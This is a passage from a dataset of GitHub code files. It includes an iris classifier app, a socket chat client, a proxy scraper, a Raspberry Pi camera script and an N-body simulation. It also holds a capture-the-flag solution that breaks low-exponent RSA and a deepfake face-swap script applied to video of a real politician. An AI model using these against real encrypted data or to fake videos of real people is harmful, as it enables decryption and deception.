st\r\nimport pandas as pd\r\nimport joblib\r\nfrom PIL import Image\r\n\r\ndef load_model():\r\n model = joblib.load('new_model.sav')\r\n return model\r\n\r\nmodel = load_model()\r\ndef main():\r\n st.title('Iris Flower Classification')\r\n st.write('This app predicts the species of Iris flowers.')\r\n st.write('B.R.M.Vamsi\\n'\r\n '\\n GMR Institutes of Technology\\n'\r\n '\\n Computer Science')\r\n\r\n \r\n st.header('Enter Input Values')\r\n sepal_length = st.number_input('Sepal Length', value=5.4)\r\n sepal_width = st.number_input('Sepal Width', value=3.4)\r\n petal_length = st.number_input('Petal Length', value=1.3)\r\n petal_width = st.number_input('Petal Width', value=0.2)\r\n if st.button('Predict'):\r\n input_data = {\r\n 'sepal length (cm)': sepal_length,\r\n 'sepal width (cm)': sepal_width,\r\n 'petal length (cm)': petal_length,\r\n 'petal width (cm)': petal_width\r\n }\r\n\r\n input_df = pd.DataFrame([input_data])\r\n\r\n error_message = None\r\n if any(value <= 0 for value in input_data.values()):\r\n error_message = \"Please enter positive values for all features.\"\r\n elif any(value > 20 for value in input_data.values()):\r\n error_message = \"Please enter reasonable values for all features.\"\r\n\r\n if error_message:\r\n st.error(error_message)\r\n else:\r\n prediction = model.predict(input_df)\r\n species = {0: 'setosa', 1: 'versicolor', 2: 'virginica'} \r\n predicted_species = species[prediction[0]]\r\n\r\n \r\n st.write(f\"Predicted Species: {predicted_species}\")\r\n\r\nmain()\r\n", "repo_name": "Vamsi8041/Bharatintern", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1682, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "joblib.load", "line_number": 7, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 12, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 13, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 14, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 19, "usage_type": "call"}, {"api_name": "streamlit.number_input", "line_number": 20, "usage_type": "call"}, {"api_name": "streamlit.number_input", "line_number": 21, "usage_type": "call"}, {"api_name": "streamlit.number_input", "line_number": 22, "usage_type": "call"}, {"api_name": "streamlit.number_input", "line_number": 23, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 24, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 32, "usage_type": "call"}, {"api_name": "streamlit.error", "line_number": 41, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 48, "usage_type": "call"}]} {"seq_id": "25562308022", "text": "import socket\nimport random\nfrom threading import Thread\nfrom datetime import datetime\n\nhost = \"127.0.0.1\"\nport = 5002\nseparator_token = ''\n\ns = socket.socket() # Creates a new socket object\nprint(f\"[*] Connecting to {host}:{port}...\")\ns.connect((host, port)) # Connects to the remote socket at the given address\nprint(\"[+] Connected.\")\n\nname = input(\"Enter your name: \")\n\ndef listen_for_messages():\n while True:\n message = s.recv(1024).decode() # Receives data from sockets and decodes it\n print(\"\\n\" + message)\n\nt = Thread(target=listen_for_messages) # Creates a Thread object with the object being the function listen_for_messages\nt.daemon = True\nt.start()\n\nwhile True:\n to_send = input()\n if to_send.lower() == 'q':\n break\n date_now = datetime.now().strftime('%Y-%m-%d %H:%M:%S') # Gets the current time\n to_send = f\"[{date_now}] {name}{separator_token}{to_send}\"\n s.send(to_send.encode()) # Sends the encoded message\n\ns.close()\n", "repo_name": "sboese1/Online-Chat", "sub_path": "client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 977, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "socket.socket", "line_number": 10, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 30, "usage_type": "name"}]} {"seq_id": "24654583658", "text": "# -*- coding: utf-8 -*-\nimport requests\nfrom fake_useragent import UserAgent\nfrom bs4 import BeautifulSoup\nfrom scrapy import Selector\nimport pymysql\n\nconn = pymysql.connect(\n host=\"127.0.0.1\",\n user=\"root\",\n passwd = 'root123',\n db='article_spider',\n charset=\"utf8\",\n use_unicode=True\n)\ncursor = conn.cursor()\n\ndef crawl_ips():\n # 爬取西次免费代理\n ua = UserAgent()\n headers = {\n 'User-Agent':ua.random\n }\n resp = requests.get('https://www.xicidaili.com/nn/', headers=headers)\n # soup = BeautifulSoup(resp.text, 'lxml')\n # trs = soup.select('table#ip_list > tr')\n # for tr in trs[1:]:\n # ip = tr.select('td:nth-of-type(2)')[0].get_text()\n # port = tr.select('td:nth-of-type(3)')[0].get_text()\n # type = tr.select('td:nth-of-type(6)')[0].get_text()\n # print(ip,port,type)\n\n selector = Selector(text=resp.text)\n trs = selector.css('table#ip_list > tr')\n for tr in trs[1:]:\n ip = tr.css('td:nth-child(2)::text').get()\n port = tr.css('td:nth-child(3)::text').get()\n protxy_type = tr.css('td:nth-child(6)::text').get()\n speed = float(tr.css('div.bar::attr(title)').get().rstrip('秒'))\n print(ip,port,protxy_type,speed)\n inser_sql = '''\n insert into ip_pool (ip, port, proxy_type, speed) VALUES (%s, %s, %s, %s)\n '''\n params = (ip, port, protxy_type, speed)\n cursor.execute(inser_sql, params)\n conn.commit()\n\n\nclass Get_Ip(object):\n\n def delete_ip(self, ip):\n delete_sql = '''\n delete from ip_pool where ip='{}' \n '''.format(ip)\n cursor.execute(delete_sql)\n conn.commit()\n return True\n\n\n def judge_ip(self, ip, port, proxy_type):\n # 判断ip是否可用\n http_url = 'http://www.baidu.com'\n proxy_url = f'http://{ip}:{port}'\n try:\n proxies = {\n 'http': proxy_url\n }\n response = requests.get(http_url, proxies=proxies, timeout=3)\n return True\n except Exception as e:\n print(\"ip 不可用\")\n self.delete_ip(ip)\n return False\n else:\n code = response.status_code\n if 200 <= code and code <= 300:\n print(\"ip 可用\")\n return True\n else:\n print(\"ip 不可用\")\n self.delete_ip(ip)\n return False\n\n\n def get_random_ip(self):\n # 从数据库随机获取ip\n get_sql = '''select ip, port, proxy_type from ip_pool order by RAND() limit 1'''\n cursor.execute(get_sql)\n result = cursor.fetchone()\n judge_result = self.judge_ip(result[0], result[1], result[2])\n if judge_result:\n print(f'http://{result[0]}:{result[1]}')\n else:\n return self.get_random_ip()\n\n\nif __name__ == '__main__':\n # crawl_ips()\n Get_Ip().get_random_ip()\n", "repo_name": "BattlesSymphony/home", "sub_path": "muke/learnscrapy/learnscrapy/tools/crawl_xici_ip.py", "file_name": "crawl_xici_ip.py", "file_ext": "py", "file_size_in_byte": 2955, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pymysql.connect", "line_number": 8, "usage_type": "call"}, {"api_name": "fake_useragent.UserAgent", "line_number": 20, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 24, "usage_type": "call"}, {"api_name": "scrapy.Selector", "line_number": 33, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 68, "usage_type": "call"}]} {"seq_id": "12292890476", "text": "# TODO\n# - find a better way to detect motion\n# - open streaming server when motion is detected\n# - alert users when motion is detected just like a ring does\n# - find a way to only care about motion on part of the video, a la ring\n# - continuously upload captures to server\n# - continuously delete captures that have been uploaded to server\n# - log output to file\n# - threads\n# - check for and delete old captures on another thread\n# - archive log files on another thread\n# - convert .h264 ti .mp4 on another thread\n# - read in settings from an easily configured file at OS root level\n# - create OUTPUT_FILE_LOCATION and LOG_FILE_LOCATION directories if not present\n# - docstrings\n# - use original image to check for motion, else small (slow) movements will not trigger motion detect\n# - reset original image against which differences are counted as \"motion\" every minute or 2\n# - use classes and shit and get rid of global variables\n\n\nimport os\nimport time\nimport sys\nimport socket\nimport datetime\nimport io\nimport picamera\nimport subprocess\nimport numpy as np\nimport shutil\nimport smtplib\nimport ssl\nfrom PIL import Image, ImageChops\n\n\n# -------------------- SETTINGS --------------------\n\nDEFAULT_RESOLUTION = \"640x480\"\nDEFAULT_FRAMERATE = 24\nMOTION_DETECTION_INTERVAL = 1 # attempt to detect motion every this many seconds\nRECORD_RESOLUTION = \"1920x1080\" # switch to this resolution when motion is detected\nRECORD_DURATION = 5 # record for at least this many seconds after first detecting motion\nKEEP_VIDEOS_FOR = 60 * 60 * 24 * 7 # time to keep videos for in seconds (default: 61 * 60 * 24 * 7 = 1 week)\nTIMESTAMP_FORMAT = \"%Y-%m-%d@%H:%M:%S\" # format for time stamps, as used in output file names\nOUTPUT_FILE_LOCATION = \"captures\" # save files to this directory\nOUTPUT_FILE_FORMAT = f\"capture-{TIMESTAMP_FORMAT}\" # format for filename output\nLOG_FILE_LOCATION = \"logs\" # where to save log files\nLOG_FILE_FORMAT = \"log\" # format for log files\nLOG_FILE_SIZE_LIMIT = 1024 * 1024 * 512 # 512 MB max log file size\n\n# --------------------------------------------------\n\n\nupdate_prior_image_every = 60 # seconds\nprior_image = None\nprior_image_taken_at = None\n\n\ndef main():\n with picamera.PiCamera(resolution=DEFAULT_RESOLUTION,\n framerate=DEFAULT_FRAMERATE) as camera:\n\n stream = picamera.PiCameraCircularIO(camera, seconds=10)\n\n log_message(\"start recording\")\n log_message(f\"resolution: {DEFAULT_RESOLUTION}\")\n log_message(f\"framerate: {DEFAULT_FRAMERATE}\")\n\n camera.start_recording(stream, format=\"h264\")\n\n try:\n while True:\n camera.wait_recording(MOTION_DETECTION_INTERVAL)\n\n if detect_motion(camera):\n now = datetime.datetime.now()\n formatted_time = now.strftime(OUTPUT_FILE_FORMAT)\n output_filename = f\"{OUTPUT_FILE_LOCATION}/{formatted_time}\"\n\n camera.stop_recording()\n # TODO move this stuff to a change_resolution() method\n log_message(f\"setting resolution to {RECORD_RESOLUTION}\")\n camera.resolution = RECORD_RESOLUTION\n camera.start_recording(f\"{output_filename}.h264\", format=\"h264\")\n\n while detect_motion(camera):\n log_message(f\"recording for {RECORD_DURATION} seconds\")\n camera.wait_recording(RECORD_DURATION)\n\n log_message(f\"Motion stopped, saving to file {output_filename}.mp4\")\n\n camera.stop_recording()\n # TODO move this stuff to a change_resolution() method\n log_message(\"converting .h264 raw output file to .mp4\")\n # convert the h264 output file to mp4 and then remove the h264\n subprocess.call(f\"ffmpeg -framerate 24 -i {output_filename}.h264 -c copy {output_filename}.mp4\",\n shell=True)\n subprocess.call(f\"rm {output_filename}.h264\", shell=True)\n\n log_message(f\"setting resolution to {DEFAULT_RESOLUTION}\")\n camera.resolution = DEFAULT_RESOLUTION\n camera.start_recording(stream, format=\"h264\")\n\n delete_files_older_than(KEEP_VIDEOS_FOR)\n\n notify_if_disk_getting_full()\n\n finally:\n log_message(\"stop recording\")\n\n camera.stop_recording()\n\n\ndef image_entropy(img):\n w, h = img.size\n a = np.array(img.convert(\"RGB\")).reshape((w*h, 3))\n h, e = np.histogramdd(a, bins=(16,)*3, range=((0, 256),)*3)\n prob = h/np.sum(h) # normalize\n prob = prob[prob > 0] # remove zeros\n return -np.sum(prob*np.log2(prob))\n\n\ndef detect_motion(camera):\n global prior_image\n global prior_image_taken_at\n\n stream = io.BytesIO()\n\n camera.capture(stream, format=\"jpeg\", use_video_port=True)\n stream.seek(0)\n current_image = Image.open(stream)\n\n now = time.time()\n\n if prior_image is None:\n log_message(\"no prior image, skipping motion check\")\n\n prior_image = current_image\n prior_image_taken_at = now\n\n return False\n\n else:\n log_message(\"checking for motion\")\n\n diff = ImageChops.difference(prior_image, current_image)\n entropy = image_entropy(diff)\n log_message(f\"entropy of diff: {entropy}\")\n\n was_motion_detected = entropy >= 2\n if was_motion_detected: log_message(\"motion detected!\")\n\n if now - prior_image_taken_at > update_prior_image_every:\n log_message(f\"it has been {update_prior_image_every} seconds, updating prior image\")\n\n prior_image = current_image\n prior_image_taken_at = now\n\n return was_motion_detected\n\n\ndef delete_files_older_than(age_limit=KEEP_VIDEOS_FOR):\n log_message(f\"checking for captures older than {KEEP_VIDEOS_FOR / 24 / 60 / 60} days\")\n\n path = OUTPUT_FILE_LOCATION\n now = time.time()\n\n for f in os.listdir(path):\n f = os.path.join(path, f)\n\n if os.path.isfile(f) and os.stat(f).st_mtime < now - age_limit:\n log_message(f\"old file found, removing: {f}\")\n\n os.remove(f)\n\n\ndef notify_if_disk_getting_full():\n total, used, free = shutil.disk_usage('/')\n\n log_message(f\"Disk usage: {used} / {total} free space: {free}\")\n\n if free <= 1024 * 1024 * 1024: # <= 1 GB left\n context = ssl.create_default_context()\n hostname = socket.gethostname()\n\n with smtplib.SMTP_SSL(\"smtp.gmail.com\", 465, context=context) as server:\n sender_address = f\"pi@{hostname}\"\n receiver_address = \"iammikebuckley+securitycamera@gmail.com\"\n password = os.getenv('GMAIL_PASS')\n server.login(receiver_address, password)\n\n email_content = f\"\"\"\n Subject: {hostname} is running out of space\n\n Disk usage: {used / 1024 / 1024 / 1024} of {total / 1024 / 1024 / 1024} GB\n Free space: {free / 1024 / 1024 / 1024}\n \"\"\"\n\n server.sendmail(sender_address, receiver_address, email_content)\n\n\ndef log_message(message):\n now = datetime.datetime.now()\n formatted_time = now.strftime(TIMESTAMP_FORMAT)\n log_message = f\"{formatted_time} {message}\"\n log_filename = f\"{LOG_FILE_LOCATION}/{LOG_FILE_FORMAT}\"\n\n print(log_message)\n\n log_file_size = os.path.getsize(log_filename)\n if log_file_size > LOG_FILE_SIZE_LIMIT:\n print(\"log file has reached size limit, archiving\")\n archive_log_file(log_filename)\n\n with open(log_filename, \"a+\") as log_file:\n log_file.write(log_message + \"\\n\")\n\n\ndef archive_log_file(log_filename):\n now = datetime.datetime.now()\n formatted_time = now.strftime(TIMESTAMP_FORMAT)\n os.rename(log_filename, f\"{log_filename}-{formatted_time}.log\")\n\n\nif __name__ == \"__main__\":\n # TODO\n # read_settings()\n\n main()\n", "repo_name": "misterbuckley/pi_security_camera", "sub_path": "pi_security_camera.py", "file_name": "pi_security_camera.py", "file_ext": "py", "file_size_in_byte": 8137, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "picamera.PiCamera", "line_number": 60, "usage_type": "call"}, {"api_name": "picamera.PiCameraCircularIO", "line_number": 63, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 76, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 76, "usage_type": "attribute"}, {"api_name": "subprocess.call", "line_number": 96, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.histogramdd", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.log2", "line_number": 120, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 127, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 131, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 131, "usage_type": "name"}, {"api_name": "time.time", "line_number": 133, "usage_type": "call"}, {"api_name": "PIL.ImageChops.difference", "line_number": 146, "usage_type": "call"}, {"api_name": "PIL.ImageChops", "line_number": 146, "usage_type": "name"}, {"api_name": "time.time", "line_number": 166, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 168, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 169, "usage_type": "call"}, {"api_name": "os.path", "line_number": 169, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 171, "usage_type": "call"}, {"api_name": "os.path", "line_number": 171, "usage_type": "attribute"}, {"api_name": "os.stat", "line_number": 171, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 174, "usage_type": "call"}, {"api_name": "shutil.disk_usage", "line_number": 178, "usage_type": "call"}, {"api_name": "ssl.create_default_context", "line_number": 183, "usage_type": "call"}, {"api_name": "socket.gethostname", "line_number": 184, "usage_type": "call"}, {"api_name": "smtplib.SMTP_SSL", "line_number": 186, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 189, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 203, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 203, "usage_type": "attribute"}, {"api_name": "os.path.getsize", "line_number": 210, "usage_type": "call"}, {"api_name": "os.path", "line_number": 210, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 220, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 220, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 222, "usage_type": "call"}]} {"seq_id": "14550615545", "text": "from gmpy2 import iroot\nfrom libnum import n2s\n\nwith open('rsa_16m', 'r') as f:\n data = f.read().split('\\n')\n\nc = int(data[1][4:], 16)\ne = int(data[2][4:], 16)\nm = int(iroot(c, e)[0])\nflag = n2s(m).decode()\nprint(flag) # INSA{(I)NSA_W0uld_bE_pr0uD}", "repo_name": "Don2025/CTFwriteUp", "sub_path": "BUUCTF/INSHack2017_rsa16m/flag.py", "file_name": "flag.py", "file_ext": "py", "file_size_in_byte": 251, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 17, "dataset": "github-code", "pt": "78", "api": [{"api_name": "gmpy2.iroot", "line_number": 9, "usage_type": "call"}, {"api_name": "libnum.n2s", "line_number": 10, "usage_type": "call"}]} {"seq_id": "6548761247", "text": "#!usr/bin/env python3\n\nimport cv2\nimport torch\nimport os\nimport dlib\nfrom train import Autoencoder, var_to_np, random_warp\nimport numpy as np\n\nvideo_name = \"inputs/trump_short.mp4\"\nvideo_path = os.path.join(os.path.realpath(\".\"), video_name)\n\ndef get_device():\n if torch.cuda.is_available():\n device = \"cuda:0\"\n else:\n device = \"cpu\"\n return device\n\n# Extract faces\ndevice = get_device()\n\ndef toTensor(img):\n img = torch.from_numpy(img.transpose((0, 3, 1, 2)))\n return img\n\n\ndef extract_face(frame):\n detector = dlib.get_frontal_face_detector()\n img = frame\n dets = detector(img, 1)\n for idx, face in enumerate(dets):\n position = {}\n position[\"left\"] = face.left()\n position[\"top\"] = face.top()\n position[\"right\"] = face.right()\n position[\"bot\"] = face.bottom()\n croped_face = img[\n position[\"top\"] : position[\"bot\"], position[\"left\"] : position[\"right\"]\n ]\n\n return position, croped_face\n\n\ndef extract_faces(video_path, output):\n cap = cv2.VideoCapture(video_path)\n n = 0\n while cap.isOpened() and n < 1000:\n _, frame = cap.read()\n position, croped_face = extract_face(frame)\n converted_face = convert_face(croped_face)\n converted_face = converted_face.squeeze(0)\n converted_face = var_to_np(converted_face)\n converted_face = converted_face.transpose(1, 2, 0)\n converted_face = np.clip(converted_face * 255, 0, 255).astype(\"uint8\")\n cv2.imshow(\"converted_face\", cv2.resize(converted_face, (256, 256)))\n cv2.waitKey(2000)\n back_size = cv2.resize(\n converted_face, (croped_face.shape[0] - 120, croped_face.shape[1] - 120)\n )\n merged = merge(position, back_size, frame)\n output.write(merged)\n n = n + 1\n print(n)\n\n\ndef convert_face(croped_face):\n resized_face = cv2.resize(croped_face, (256, 256))\n normalized_face = resized_face / 255.0\n # normalized_face = normalized_face.reshape(1, normalized_face.shape[0], normalized_face.shape[1], normalized_face.shape[2])\n warped_img, _ = random_warp(normalized_face)\n batch_warped_img = np.expand_dims(warped_img, axis=0)\n\n batch_warped_img = toTensor(batch_warped_img)\n batch_warped_img = batch_warped_img.to(device).float()\n # print(batch_warped_img.shape, batch_warped_img)\n model = Autoencoder().to(device)\n checkpoint = torch.load(\"./checkpoint/autoencoder.t7\")\n model.load_state_dict(checkpoint[\"state\"])\n\n converted_face = model(batch_warped_img, \"B\")\n return converted_face\n\n\ndef merge(postion, face, body):\n mask = 255 * np.ones(face.shape, face.dtype)\n width, height, channels = body.shape\n center = (\n postion[\"left\"] + (postion[\"right\"] - postion[\"left\"]) // 2,\n postion[\"top\"] + (postion[\"bot\"] - postion[\"top\"]) // 2,\n )\n normal_clone = cv2.seamlessClone(face, body, mask, center, cv2.NORMAL_CLONE)\n return normal_clone\n\n\nif __name__ == \"__main__\":\n fourcc = cv2.VideoWriter_fourcc(\"M\", \"J\", \"P\", \"G\")\n out = cv2.VideoWriter(\"deepfake_out.avi\", fourcc, 3, (1920, 1080))\n extract_faces(video_path, out)\n\n out.release()\n", "repo_name": "mbalayil/deepfake", "sub_path": "create_fake_video.py", "file_name": "create_fake_video.py", "file_ext": "py", "file_size_in_byte": 3189, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 24, "usage_type": "call"}, {"api_name": "dlib.get_frontal_face_detector", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 46, "usage_type": "call"}, {"api_name": "train.var_to_np", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 55, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 58, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 68, "usage_type": "call"}, {"api_name": "train.random_warp", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 72, "usage_type": "call"}, {"api_name": "train.Autoencoder", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 86, "usage_type": "call"}, {"api_name": "cv2.seamlessClone", "line_number": 92, "usage_type": "call"}, {"api_name": "cv2.NORMAL_CLONE", "line_number": 92, "usage_type": "attribute"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 97, "usage_type": "call"}, {"api_name": "cv2.VideoWriter", "line_number": 98, "usage_type": "call"}]} {"seq_id": "25694325154", "text": "\"\"\"\r\nPROJECT A : N- Body Astronomical Simulation\r\nThis program will simulate an N-body astronomical interaction through Newtonian gravity\r\nusing the Velocity Verlet time integration algorithm to update values of position and velocity over time.\r\nIt will describe the Solar System, including the Sun, Pluto, Earth’s moon and the Halley’s Comet.\r\n\r\nThe bodies interact under Newtoniaan Gravity F = Gm1m2/r^2\r\n\r\nThe program produces a plot of the Total Energy of the system against timestep\r\nIt also produces two output files, one describing the trajectories of the bodies over time,\r\nand the other with the apoapsis,peripasis and orbital periods of the bodies.\r\n\r\nUnits:\r\nMass : Kilogram\r\nDistance : AU (Astronomical Units) ( 1 AU = 1.496E+11)\r\nTime : days (1 day = 86400 s)\r\n\r\n\"\"\"\r\n\r\nimport sys\r\nimport math\r\nimport numpy as np\r\nimport matplotlib.pyplot as pyplot\r\nfrom Astro_Body import Astro_Body\r\n\r\ndef apoapsis(dist_list):\r\n \"\"\"\r\n Function to return the value of apoapsis of a particular body\r\n\r\n :param dist_list: List of distances of body from centre of attraction\r\n \"\"\"\r\n\r\n return max(dist_list) # Maximum distance away from centre of attraction\r\n\r\ndef peripasis(dist_list):\r\n \"\"\"\r\n Function to return the value of periapsis of a particular body\r\n\r\n :param dist_list: List of distances of body from centre of rotation\r\n \"\"\"\r\n return min(dist_list) # Minimum distance away from centre of attraction\r\n\r\ndef orbit_period(dist_list,time_list):\r\n \"\"\"\r\n Function to return the value of orbital period of a particular body\r\n\r\n :param dist_list: List of distances of body from centre of rotation\r\n :param time_list: Corresponding time list of body\r\n \"\"\"\r\n\r\n # If the list ascends first\r\n if dist_list[1] > dist_list[0]:\r\n\r\n # Find first peak in the list\r\n for i in range(len(dist_list)):\r\n if dist_list[i+1]dist_list[i]:\r\n trough = i\r\n break\r\n\r\n # If the list descends first\r\n else:\r\n\r\n # Find first trough in the list\r\n for i in range(len(dist_list)):\r\n if dist_list[i+1]>dist_list[i]:\r\n trough = i\r\n break\r\n # Find first peak after first trough in the list\r\n for i in range(trough,len(dist_list)):\r\n if dist_list[i+1]\" + \"\")\r\n quit()\r\n else:\r\n infile1_name = sys.argv[1]\r\n infile2_name = sys.argv[2]\r\n outfile_name = sys.argv[3]\r\n\r\n # Open output file\r\n outfile = open(outfile_name, \"w\") # Trajectory file\r\n outfile2 = open(\"Observables.txt\",\"w\") # Observables file\r\n\r\n # Open input files\r\n infile1 = open(infile1_name, \"r\") # particle details file\r\n infile2 = open(infile2_name, \"r\") # simulation parameters file\r\n\r\n\r\n # Set up simulation parameters\r\n lines = infile2.readlines()\r\n dt = float(lines[0]) # Time step dt\r\n numstep = int(lines[1]) # number of steps\r\n time = float(lines[2]) # start time\r\n\r\n # Check if there are enough days to calculate Pluto orbit (largest orbit)\r\n if (numstep*dt) < 80000:\r\n print(\"Not enough number of steps to calculate orbital period of all bodies\")\r\n print(\"Increase numstep or timestep(dt)\")\r\n print(\"numstep*dt must be greater than 80000\")\r\n quit()\r\n\r\n\r\n # Set up astronomical body parameters\r\n P = Astro_Body.read_from_file(infile1)\r\n\r\n # Centre of Mass correction\r\n Astro_Body.com_correction(P)\r\n\r\n # Counting the number of bodies being simulated\r\n no = len(P)\r\n\r\n # Find iniitial conditions\r\n KE = 0\r\n # adding Individual kintetic energies\r\n for i in range(len(P)):\r\n KE = KE + Astro_Body.kinetic_energy(P[i])\r\n # Total eenrgy of the system\r\n energy = Astro_Body.potential_energy(P) + KE\r\n\r\n # Initialise data lists for plotting later\r\n time_list = [time]\r\n energy_list = [energy]\r\n force = []\r\n dist_list = np.zeros((no,numstep+1)) # Array to store distance values for observable calculations\r\n\r\n # Finding out the index numbers of the Moon, Earth and Sun (For observable calculation)\r\n for i in range(no):\r\n if P[i].label == \"Moon\":\r\n ind_Moon = i\r\n if P[i].label == \"Earth\":\r\n ind_Earth = i\r\n if P[i].label == \"Sun\":\r\n ind_Sun = i\r\n\r\n # Finding the initial values of distance from centre of attraction for all bodies\r\n for i in range(no):\r\n # For moon, check orbit around Earth\r\n if i == ind_Moon:\r\n pos = P[i].position - P[ind_Earth].position\r\n dist = np.linalg.norm(pos)\r\n dist_list[ind_Moon,0] = dist\r\n # For others, check orbit around Sun\r\n else:\r\n pos = P[i].position - P[ind_Sun].position\r\n dist = np.linalg.norm(pos)\r\n dist_list[i,0] = dist\r\n\r\n\r\n ########## SIMULATION ###########\r\n\r\n\r\n # Calculation of Initial Forces\r\n\r\n F_matrix = Astro_Body.compute_force(P)\r\n for i in range(no):\r\n F = np.array([0,0,0])\r\n for j in range(no):\r\n F = F + np.array([F_matrix[i,j,0],F_matrix[i,j,1],F_matrix[i,j,2]])\r\n force.append(F)\r\n\r\n # Start the time integration loop\r\n\r\n # For loop to iterate over timesteps\r\n for n in range(numstep):\r\n\r\n Tot_KE = 0.0\r\n force_new = []\r\n #For loop to iterate over N astronomical bodies\r\n # Update Body Position\r\n for i in range(no):\r\n P[i].leap_position(dt, force[i])\r\n\r\n # Update forces\r\n F_matrix = Astro_Body.compute_force(P)\r\n for i in range(no):\r\n F = np.array([0,0,0])\r\n for j in range(no):\r\n F = F + np.array([F_matrix[i,j,0],F_matrix[i,j,1],F_matrix[i,j,2]])\r\n force_new.append(F)\r\n\r\n # Update body velocity by averaging\r\n # current and new forces\r\n for i in range(no):\r\n P[i].leap_velocity(dt, 0.5*(force[i]+force_new[i]))\r\n\r\n\r\n for i in range(no):\r\n force[i] = force_new[i] # Update new force value\r\n Tot_KE += Astro_Body.kinetic_energy(P[i]) # Find total kinetic energy of system\r\n\r\n # Add to distance lists for each body\r\n # Moon condition\r\n if i == ind_Moon:\r\n pos = P[i].position - P[ind_Earth].position\r\n dist = np.linalg.norm(pos)\r\n dist_list[ind_Moon,n+1] = dist\r\n # Others condition\r\n else:\r\n pos = P[i].position - P[ind_Sun].position\r\n dist = np.linalg.norm(pos)\r\n dist_list[i,n+1] = dist\r\n\r\n\r\n # Increase time\r\n time +=dt\r\n\r\n # Total Energy of the system\r\n energy = Tot_KE + Astro_Body.potential_energy(P)\r\n\r\n # Append information to data lists\r\n time_list.append(time)\r\n energy_list.append(energy)\r\n\r\n # Writing out trajectory file for VMD\r\n outfile.write(str(no) + \"\\n\")\r\n outfile.write(\"Point = %d\\n\" % (j + 1))\r\n for i in range(no):\r\n outfile.write(str(P[i]) + \"\\n\")\r\n\r\n\r\n ############# POST - SIMULATION #####################\r\n\r\n # Write Observable values into file\r\n\r\n for i in range(no):\r\n # Ensure we're not calculating for the Sun\r\n if i != ind_Sun:\r\n apo = apoapsis(dist_list[i,:]) # Apoapsis\r\n peri = peripasis(dist_list[i,:]) # Periapsis\r\n OP = orbit_period(dist_list[i,:],time_list) # Orbital Period\r\n #outfile2.write(str(P[i].label)+\" - Apo-apsis : \"+str(apo)+\" AU, Peri-apsis : \"+str(peri)+\" AU, Orbital Period : \"+str(OP)+\" days (\"+str(OP/365)+\" years)\\n\")\r\n outfile2.write(str(P[i].label)+\" - Apo-apsis : {0:.4f} AU, Peri-apsis : {1:.4f} AU, Orbital Period : {2:.2f} days ({3:.5f} years)\\n\".format(apo,peri,OP,OP/365))\r\n # Close all files\r\n infile1.close()\r\n infile2.close()\r\n outfile.close()\r\n outfile2.close()\r\n\r\n # Display average value of Total Energy of the System\r\n\r\n print(\"Average value of Total Energy of System : \" + str(sum(energy_list)/len(energy_list)) + \" kg*(AU^2)/(days^2)\")\r\n\r\n # Plot total system energy to screen\r\n pyplot.title('Total Energy of 